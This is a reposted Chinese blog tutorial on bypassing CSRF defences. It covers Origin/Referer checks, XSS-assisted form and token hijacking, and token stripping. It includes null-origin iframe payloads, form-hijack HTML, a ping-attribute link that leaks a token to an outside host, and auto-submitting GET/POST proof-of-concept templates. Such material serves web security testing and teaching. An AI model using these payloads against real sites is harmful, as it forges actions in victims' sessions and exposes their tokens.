CSRF的绕过与利用

Threezh1’Blog
转载至:https://threezh1.com/2020/02/25/CSRF%E7%BB%95%E8%BF%87%E6%95%B4%E7%90%86/
CSRF的绕过与利用


February 25th 2020, 12:00:00 pm

目录

  1. Origin & Referer Bypass
    1. Null值绕过
    2. 域名校验绕过
    3. 配合XSS进行利用
      1. 获取表单中的token
      2. 获取url参数中的token
    4. 配合URL跳转漏洞
  2. X-Request-with Bypass
  3. Token Bypass
  4. CSRF POC 构造
    1. GET - CSRF
    2. POST - CSRF
  5. 参考 & 备份

Origin & Referer Bypass

Null值绕过

当遇到一个cors可用null值绕过时,用iframe配合data协议,就可以发送一个origin为null的请求。这个绕过方式同样也可以用在CSRF这里。

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>var req=new XMLHttpRequest();req.onload=reqListener;req.open("get","http://127.0.0.1/test.html",true);req.withCredentials=true;req.send();function reqListener(){alert(this.responseText)};</script>'></iframe>

域名校验绕过

当域名校验不是特别严格时,可以通过以下几种方式进行绕过:

  • 在后面加域名 qq.com => qq.com.abc.com
  • 将域名拼接 abc.qq.com => abc_qq.com
  • 在前面或者在后面加字符 qq.com => abcqq.com / qq.com => qq.comabc.com / qq.com => abc.com/qq.com

配合XSS进行利用

当同源网站中存在一个xss漏洞时,就可以直接使用xss包含CSRF的payload进行利用。不仅可以绕过简单的Referer和Origin验证,还可以劫持表单与URL中的token进行利用。

获取表单中的token

当token存在于表单中时,可以配合XSS漏洞进行表单劫持进而让token的限制。

  • xss劫持页面中某个表单的提交

像这个就可以劫持user-edit表单的提交,点击即可提交form表单。

<input type="submit" form="user-edit" value="hijack">

这个就相当于劫持了user-edit表单然后进行提交

  • xss劫持页面表单并修改value
<input type="text" form="user-edit" name="notes" value="This is a test">
<input type="text" form="user-edit" name="secert" value="on">
<input type="submit" form="user-edit" value="hijack">

劫持user-edit表单,覆盖各表单的value,进行CSRF利用。

获取url参数中的token
<a href="https://evil7.cn">get_token</a>
<a href="https://xz.aliyun.com/" ping="https://evil7.cn">ping_leak</a>

参考:魔法才能打败魔法:关于获取csrf-token前端技巧思考

配合URL跳转漏洞

如果是GET形式的CSRF,配合URL跳转漏洞,即可Origin和Referer的限制。

X-Request-with Bypass

使用swf进行绕过:https://github.com/Qclover/CSRF

Token Bypass

  • 删除Token参数字段
  • 将Token参数值置空

CSRF POC 构造

GET - CSRF

<img src=http://xxxx.org/csrf.php?xx=11 />

POST - CSRF

可以直接使用Brupsuite生成CSRF POC,也可以自己构造

<form action=http://aaaaaa.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script>

参考 & 备份

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值